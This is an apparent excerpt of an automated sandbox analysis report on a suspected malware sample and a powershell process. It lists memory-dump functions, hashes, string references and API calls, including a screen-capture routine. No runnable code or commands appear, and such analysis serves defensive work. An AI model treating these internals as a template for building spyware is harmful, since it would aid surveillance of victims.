Function 04A593C0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86c9360c9bee31c9b662c03b668466282e0bb2d0179e4774a679c2f497d49a0f
Instruction ID: c7bbde5c1bbdbfb4ffe2c1e94c4a5ac270d7e462f1e3c807d81cfdae6b8963a4
Opcode Fuzzy Hash: 86c9360c9bee31c9b662c03b668466282e0bb2d0179e4774a679c2f497d49a0f
Instruction Fuzzy Hash: A9F0E2756045044BE310AB64C0543AFB7D6EBC1328F10812ACD0A47384CE3D2806C7E1

Function 04A5793F Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e760004280b8d2b2edb09dd75d720766b73ddd31eed3de6799200c7f68dee9d3
Instruction ID: 69b85ab8228c168c1c321ebdadc4b08b98c22e3bff082dc68a135e3ac04ba42c
Opcode Fuzzy Hash: e760004280b8d2b2edb09dd75d720766b73ddd31eed3de6799200c7f68dee9d3
Instruction Fuzzy Hash: 5AF0EC79300A14CFCB00DB6CDA4099A77E2FBC8751F154258E909EB324EA35DC024BE0

Function 04A5E2D0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54d1964305be42913ea894ca21f232ea41c883030635b4cd5b6f6bc401b2763b
Instruction ID: 8c8d77db169c32fb83c02a5a248d7c41dfe97ceaba9683a7b98f318d2bc4cdbd
Opcode Fuzzy Hash: 54d1964305be42913ea894ca21f232ea41c883030635b4cd5b6f6bc401b2763b
Instruction Fuzzy Hash: BBE0ED353101118F87109F5DD458C6AB7EAEFCE72571500A9E549DB335DA71EC01CB90

Function 04A5E161 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0670d4873d9f4f6a1c2ae97f6a7b7f82d5879357413a6872b78f0d5845dbe235
Instruction ID: 6fb492c4cfc15c2ca528d81796a9de8a8ef4ba17560393fc2b8c1ec7ca2908ba
Opcode Fuzzy Hash: 0670d4873d9f4f6a1c2ae97f6a7b7f82d5879357413a6872b78f0d5845dbe235
Instruction Fuzzy Hash: 2DE02B31705140778B08C2ACF4404EAFFB5DFC9321F1480BFD906A7250DA31651697E0

Function 04A58C2A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1b45b662eb51f46246cd24e3161e74e991eb28508bd1f1d0e18a484b831c749
Instruction ID: efdfb7140b893b98ea14ed07698fd1d7aca96ecd58e60d75b662b1552ed72cc4
Opcode Fuzzy Hash: b1b45b662eb51f46246cd24e3161e74e991eb28508bd1f1d0e18a484b831c749
Instruction Fuzzy Hash: C9F0EC3530D3909FDB0A677494181ED7F629BC1764F14006FD54AC7283CF340809C395

Function 04A5981A Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0c77c4b45148cfc36354708331653ff384d17db745851809df87456d663af1
Instruction ID: d43625af0abd5b595acda7246fd57beedadcdae11e97285f48fb5801b272536b
Opcode Fuzzy Hash: cf0c77c4b45148cfc36354708331653ff384d17db745851809df87456d663af1
Instruction Fuzzy Hash: 23E09A2270A2D51E979662B916102AF6FAA4FD216871900AFCC45DF263C8589C09C3B2

Function 04A5B268 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cba8e827aa03dcb92002893422006b8aee491695871b60212f03906be54c10ab
Instruction ID: 093757d56cd9560d32b3b974f5d5523077224036312af0c656ccda64890c1ca1
Opcode Fuzzy Hash: cba8e827aa03dcb92002893422006b8aee491695871b60212f03906be54c10ab
Instruction Fuzzy Hash: 98E0D81630E3D01A8B16427D74604AA6F728AC763131D85FFE485CF253CC615C46C371

Function 04A59440 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d18b99c84a920b7c143d67fe43bce444b766ecec5d3be793d617cfd58fa837e
Instruction ID: c5aac4556579bf4cc29ccb9a946a2cc6469b44262f0b0f127107420ef38ec21d
Opcode Fuzzy Hash: 3d18b99c84a920b7c143d67fe43bce444b766ecec5d3be793d617cfd58fa837e
Instruction Fuzzy Hash: C9F0ED709003049BD7649FB9D4987ABBBE9EB44354F10542EE55ED7240DB396885CB90

Function 04A58C38 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e2dd615b08b687597c330a5ecf8120bce0af1434dd46965cb51496d655e1aef
Instruction ID: fff2bb72b8e6902fb0496c03ff6c88628b96a2b7a8ec13e6d2ae1e270206d5e0
Opcode Fuzzy Hash: 0e2dd615b08b687597c330a5ecf8120bce0af1434dd46965cb51496d655e1aef
Instruction Fuzzy Hash: FCE02635308610C7CB083774A40C2AE7E96EBC4B68F00402FEA0E83381CF38280A93D9

Function 04A5E120 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aed264869fb9f4bccfc82217d04a911e4a5f7f71c1385c2f905d8056cb868cf
Instruction ID: 7d5f99baa7ba626b7b1480906cb314624cc7c822182a9c35b42a31c7dfcf9b43
Opcode Fuzzy Hash: 0aed264869fb9f4bccfc82217d04a911e4a5f7f71c1385c2f905d8056cb868cf
Instruction Fuzzy Hash: 33E0C2313407144B8621672EA91085FB7DBEFC9671390843EE52ED7310DE70ED0A8795

Function 04A5E170 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 1a912737e94a9376f11c497b84bde1e69be0fd29cdeeb225423f93906582085a
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 7AE08631B04114A78B089699E4104DDF7B9DBCC220F04C47ADD0AA7350DA3269168691

Function 04A59828 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01e71dd7ac254cdef7791482d787560c15fb666ac75b51c69cd1c9976e93ae0b
Instruction ID: cbbdeccbd08a83e848d54d027114ff7338940feaf2fc76960512ce7b04f5b3ef
Opcode Fuzzy Hash: 01e71dd7ac254cdef7791482d787560c15fb666ac75b51c69cd1c9976e93ae0b
Instruction Fuzzy Hash: 84D05E127411251B269572FA1B006BFA5DF8FD58A9B05003E9E09DB251EC68EC1583F1

Function 04A589F9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d81a26ecd97cc3ae7122ff0eaa340f25ca23d8b4e77dbb1461fd7ebb7917ea22
Instruction ID: 1704076495f93ad70be305a64c7afdc0cc5731f5d462f274dd732d3896bd63b4
Opcode Fuzzy Hash: d81a26ecd97cc3ae7122ff0eaa340f25ca23d8b4e77dbb1461fd7ebb7917ea22
Instruction Fuzzy Hash: 4FE04F31906149DFCF09ABB4E81A4EDBF70EB05311F40009ED95B621A2EE61198ACB80

Function 04A58AC0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bfa409d6708eaadd58533f5f4582b3cf984125f92633ce78eba7be8f060ca9d
Instruction ID: 8537a43a50d2ebaab9fb3660fa6d4835c84a0dab98ab3d8ccb1217c1aa39e24b
Opcode Fuzzy Hash: 1bfa409d6708eaadd58533f5f4582b3cf984125f92633ce78eba7be8f060ca9d
Instruction Fuzzy Hash: 1EE0D831A0A2499BCB44DBB8E0054AEBFB0DB06310F10419FD909DA243D6311495DF81

Function 04A5F8E8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6048812920f56dd72d8d94e82989a36970ae5aae75f09033f925af98b1527b
Instruction ID: 01872557f8f36042acbd9a9a326bb5155e8d630af98e1766e1e48fac4f91e954
Opcode Fuzzy Hash: 4c6048812920f56dd72d8d94e82989a36970ae5aae75f09033f925af98b1527b
Instruction Fuzzy Hash: B3E09A70D4410AAFCB84EFB8C941569FFF4EB49204F2485AAD95DD7212E7329612DB81

Function 04A5F8F8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 8d83ae2083e316d2ec2b4a8fbbc014d27242540158830742f4999070a86cf737
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: C4D06270D042199F8780DFADC94156DFBF4EB48204F5085AAD919E7315F7315612CBD1

Function 04A58AD0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c44e4637a250238c874a851cda29255244fa6d082055278c73bcd7de3c0c1a0
Instruction ID: c696410e297941c75f59bd7adf10690e8effee9f9731085ba455082b0efbda8d
Opcode Fuzzy Hash: 3c44e4637a250238c874a851cda29255244fa6d082055278c73bcd7de3c0c1a0
Instruction Fuzzy Hash: 2BD01774A0820ECB8B08EFA4E44686EBFB4EB45200F00816ADE0AA3350EA346815DBC1

Function 04A58A08 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ba4490d4a803a06258fcc227d98ab8fd0774aa989a9776fd54c6fdf86829b0
Instruction ID: 77ce6e52be87bacdd29c6460a94f15c1c5b6f570a13963476acf09a9bb9d5ee6
Opcode Fuzzy Hash: 04ba4490d4a803a06258fcc227d98ab8fd0774aa989a9776fd54c6fdf86829b0
Instruction Fuzzy Hash: 26D06731904109CBCF08ABA4E85A4BDBF74FB14311F40516EDA1BA2191EE312A5ADFC1

Function 04A57BDA Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 518a63880782805714c535a70dd228337991f05e34091a937f15ae22dc39ed8f
Instruction ID: 073aa1807a8e33db10f6c95e369e60b5e1ad17f4eb2ffe78cd96490ef78419a7
Opcode Fuzzy Hash: 518a63880782805714c535a70dd228337991f05e34091a937f15ae22dc39ed8f
Instruction Fuzzy Hash: E8D05E3600E3818FC7069F38D4A48647F30EE0720430505CED0478B2B3CA729455DF11

Function 04A58150 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc75764b3af6c57ef8433a30fbd2d880c23442ee600796942c99c401ff7eb01e
Instruction ID: 4f5a886f9747444b4cb959f01ac86a4a5c4567a111ab6177776e2ddb69e53d73
Opcode Fuzzy Hash: dc75764b3af6c57ef8433a30fbd2d880c23442ee600796942c99c401ff7eb01e
Instruction Fuzzy Hash: 57D0EA265092D08EEF16CB38DCA57193FB1DA5762531E47CA92528B0A6CA24AA05D722

Function 04A57BE8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7276b2382f404cd76f5357ff18339c33677dbf525ec5cd2435c43553d44000d
Instruction ID: c03e53905dd80843d04c614748b190055e99cfa7c46874d7c064493ae759bcb1
Opcode Fuzzy Hash: c7276b2382f404cd76f5357ff18339c33677dbf525ec5cd2435c43553d44000d
Instruction Fuzzy Hash: 55B092310487098FC6897F75E948815B369FE4121938009E8E50F4A292CE36E881CE45

Non-executed Functions

Function 07983928 Relevance: 10.3, Strings: 8, Instructions: 325COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07983B35
4'^q, xrefs: 07983B29
tP^q, xrefs: 079839A5
$^q, xrefs: 0798393A
$^q, xrefs: 07983C0E
$^q, xrefs: 07983960
tP^q, xrefs: 079839B1
$^q, xrefs: 0798396C

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-3865595929
Opcode ID: bf7448d1de9dcb980529608712ec9252cd41607776462578795e3873e99b1b88
Instruction ID: 1df5668feb56a14e1a2e61147e29b50000fe7654e493e13b1a3a7d90fc216e5e
Opcode Fuzzy Hash: bf7448d1de9dcb980529608712ec9252cd41607776462578795e3873e99b1b88
Instruction Fuzzy Hash: B4A158B17042059FC7646B29D804B7EBBEAAFC6A24F14846BD40ACF351DA36CC46C7A1

Function 07984408 Relevance: 9.2, Strings: 7, Instructions: 485COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07984725
0U^q, xrefs: 07984423
tP^q, xrefs: 07984597
4'^q, xrefs: 079848D5
4'^q, xrefs: 079848C9
4'^q, xrefs: 07984719
tP^q, xrefs: 0798458B

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: 0U^q$4'^q$4'^q$4'^q$4'^q$tP^q$tP^q
API String ID: 0-3781177191
Opcode ID: 4b8f8239f180e2ab2f90f09f136d50ef4080c8e727f9fbc69b95622b5bae261a
Instruction ID: b94212d435d3f23cb3633dabb180706458cf133b27f730de39ad85db2719686b
Opcode Fuzzy Hash: 4b8f8239f180e2ab2f90f09f136d50ef4080c8e727f9fbc69b95622b5bae261a
Instruction Fuzzy Hash: BCE16AB1B042878FCB54AF68944466ABBEAAFC6328F14C47BD505CF361DA36CC46C761

Function 07981BE0 Relevance: 7.9, Strings: 6, Instructions: 410COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07981FDF
4'^q, xrefs: 07981F89
tP^q, xrefs: 07981FEB
4'^q, xrefs: 07981F95
4'^q, xrefs: 07981C86
4'^q, xrefs: 07981C92

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$tP^q$tP^q
API String ID: 0-445857065
Opcode ID: b3fe968943fb6715e37165978968e51b4eca8bed84673648067955407c3d57b9
Instruction ID: f21930a7b9ad3c3d27dec7cf67c02110f32de7bc90813adf712495ab0de3a6ad
Opcode Fuzzy Hash: b3fe968943fb6715e37165978968e51b4eca8bed84673648067955407c3d57b9
Instruction Fuzzy Hash: B4D15AB1B4430A8FC755AF6994046AABBFAEFC5224F1484AFD415CF351DB31C886C7A1

Function 07980284 Relevance: 7.6, Strings: 6, Instructions: 78COMMON

Download Yara Rule

Strings

$^q, xrefs: 0798035E
4'^q, xrefs: 07980373
$^q, xrefs: 07980352
4'^q, xrefs: 079802F7
4'^q, xrefs: 079802EB
4'^q, xrefs: 0798037F

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q
API String ID: 0-1041444323
Opcode ID: 36e40fae81d485cd4fb3392159b7bd6113b25475301485e3d750a71a9b5b8893
Instruction ID: 62d65eeba6b07e47c0b846812666734bdd06c9c47c4000c02091787b466acc9e
Opcode Fuzzy Hash: 36e40fae81d485cd4fb3392159b7bd6113b25475301485e3d750a71a9b5b8893
Instruction Fuzzy Hash: 74218C71B4835A4FC36E2A3C6424169AFE75FC2958739086BC441CF39ACF658C4F4392

Function 07983678 Relevance: 6.4, Strings: 5, Instructions: 194COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07983722
4'^q, xrefs: 0798372E
$^q, xrefs: 079837FF
$^q, xrefs: 0798382A
$^q, xrefs: 07983836

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 90d4508aec65dcbf68bab903be10101cd6f9cb857ae4bc5d9fb43659ab9112a9
Instruction ID: 24618bc9cc0d0af19e5236d713349a6dada6c80ea49947dfa0c462c572646286
Opcode Fuzzy Hash: 90d4508aec65dcbf68bab903be10101cd6f9cb857ae4bc5d9fb43659ab9112a9
Instruction Fuzzy Hash: F0516AF17043469FCB656B2D980076EBBEAAFC2A25F24847BD405CF351EA35C885C7A1

Function 04A57CC9 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

`_q, xrefs: 04A57E4A
`_q, xrefs: 04A57F6A
`_q, xrefs: 04A57DCB
`_q, xrefs: 04A57EEC

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 595aca4de714125f0ee5ee51e3a9764e7403a8895ecc309cdbcbe63f3eebc1a1
Instruction ID: 7d37c3e5d6ac419a1788bed927912bef46e4d1950952f207421ca4d124382bd3
Opcode Fuzzy Hash: 595aca4de714125f0ee5ee51e3a9764e7403a8895ecc309cdbcbe63f3eebc1a1
Instruction Fuzzy Hash: 5BB1C874E012099FDB55DFA9D980A9DFBF2FF88304F10862AD819AB355DB30A945CF90

Function 04A57CD8 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 04A57E4A
`_q, xrefs: 04A57F6A
`_q, xrefs: 04A57DCB
`_q, xrefs: 04A57EEC

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 6f6f572a74a6e03803136f8c501d6a5c42fd5ecb88283329276512891b3d54e9
Instruction ID: ae5c6ff180b0ad5678d90ccbb4c3d818597866860482b447fd0690416a236511
Opcode Fuzzy Hash: 6f6f572a74a6e03803136f8c501d6a5c42fd5ecb88283329276512891b3d54e9
Instruction Fuzzy Hash: 88B19774E012099FDB55DFA9D980A9DFBF2FF88304F108629E819AB354DB34A945CF90

Function 07985798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 079857C6
$^q, xrefs: 079857AA
$^q, xrefs: 079857F4
$^q, xrefs: 07985800

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 14df6a43784deed733727aa9d6f7630bf904ec5a6ac7dd3ee02646fedb30c17f
Instruction ID: 079f1e6f1a54e81cd019fe24a58fd022c72dcc00cc3f74611e439c46e0fcf957
Opcode Fuzzy Hash: 14df6a43784deed733727aa9d6f7630bf904ec5a6ac7dd3ee02646fedb30c17f
Instruction Fuzzy Hash: C02149B1700306DBDBB46A3A8800B67BBDA5FC1719F25842BA605CF395DD79C8598361

Analysis Process: 3UuxTH6FMX.exePID: 3760, Parent PID: 7148COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	83.2%
Signature Coverage:	9.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	173

Executed Functions

Function 00000218BFBCFB30 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 225
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00000218BFBCFB71
GetSystemMetrics.USER32 ref: 00000218BFBCFB7F
GetSystemMetrics.USER32 ref: 00000218BFBCFB8D
GetSystemMetrics.USER32 ref: 00000218BFBCFB9B
GetDC.USER32 ref: 00000218BFBCFBA5
GetDeviceCaps.GDI32 ref: 00000218BFBCFBBB
GetDeviceCaps.GDI32 ref: 00000218BFBCFBCB
CreateCompatibleDC.GDI32 ref: 00000218BFBCFBD8
CreateCompatibleBitmap.GDI32 ref: 00000218BFBCFBF0
SelectObject.GDI32 ref: 00000218BFBCFC06
BitBlt.GDI32 ref: 00000218BFBCFC3C
SHCreateMemStream.SHLWAPI ref: 00000218BFBCFC72
SelectObject.GDI32 ref: 00000218BFBCFC88
DeleteDC.GDI32 ref: 00000218BFBCFC91
ReleaseDC.USER32 ref: 00000218BFBCFC9C
DeleteObject.GDI32 ref: 00000218BFBCFCA5
EnterCriticalSection.KERNEL32 ref: 00000218BFBCFD9C
LeaveCriticalSection.KERNEL32 ref: 00000218BFBCFDAE
IStream_Size.SHLWAPI ref: 00000218BFBCFDE5
IStream_Reset.SHLWAPI ref: 00000218BFBCFDF6
IStream_Read.SHLWAPI ref: 00000218BFBCFE7B
SelectObject.GDI32 ref: 00000218BFBCFED5
DeleteDC.GDI32 ref: 00000218BFBCFEDE
ReleaseDC.USER32 ref: 00000218BFBCFEEB
DeleteObject.GDI32 ref: 00000218BFBCFEF4

Strings

, xrefs: 00000218BFBCFC11

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Object$DeleteMetricsSystem$CreateSelectStream_$CapsCompatibleCriticalDeviceReleaseSection$BitmapEnterLeaveReadResetSizeStream
String ID:
API String ID: 3214587331-3916222277
Opcode ID: e8e9b911cd9b9f557c011d0a693391b94df579aa06795856880fde4b09ecdcd5
Instruction ID: d781699e36bd7eb80a2482a3e7ebe63c01f32477866f60941e7accf6e4c16322
Opcode Fuzzy Hash: e8e9b911cd9b9f557c011d0a693391b94df579aa06795856880fde4b09ecdcd5
Instruction Fuzzy Hash: A6B12072618BD086E760DF21E8983DFB7A5F799B84F408515DA8983B69DF3CC585CB00

Function 00000218BFC098C0 Relevance: 27.2, APIs: 18, Instructions: 229
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesExW.KERNEL32 ref: 00000218BFC0996D
GetLastError.KERNEL32 ref: 00000218BFC09977
FindFirstFileW.KERNEL32 ref: 00000218BFC0998E
GetLastError.KERNEL32 ref: 00000218BFC0999A
FindClose.KERNEL32 ref: 00000218BFC099A8
__std_fs_open_handle.LIBCPMT ref: 00000218BFC09A3B
CloseHandle.KERNEL32 ref: 00000218BFC09A51
CloseHandle.KERNEL32 ref: 00000218BFC09BC4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Close$ErrorFileFindHandleLast$AttributesFirst__std_fs_open_handle
String ID:
API String ID: 2398595512-0
Opcode ID: 9b9cafa6476ba7d57e6375b49b2d31870033937920a690a77e8b0d8031f3f21f
Instruction ID: 6eb5ffb0056aae02d9991855c3f6ea54e3d4c4e874d2d8e8f0e96bdef749e60e
Opcode Fuzzy Hash: 9b9cafa6476ba7d57e6375b49b2d31870033937920a690a77e8b0d8031f3f21f
Instruction Fuzzy Hash: 81918431308A6546F7748B35A4A87DD6391EBA5778F1447149ABAC7FF4DF38CA828700

Function 00000218BFBD1660 Relevance: 26.6, APIs: 4, Strings: 10, Instructions: 2133timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32 ref: 00000218BFBD1990

Strings

ram, xrefs: 00000218BFBD285B
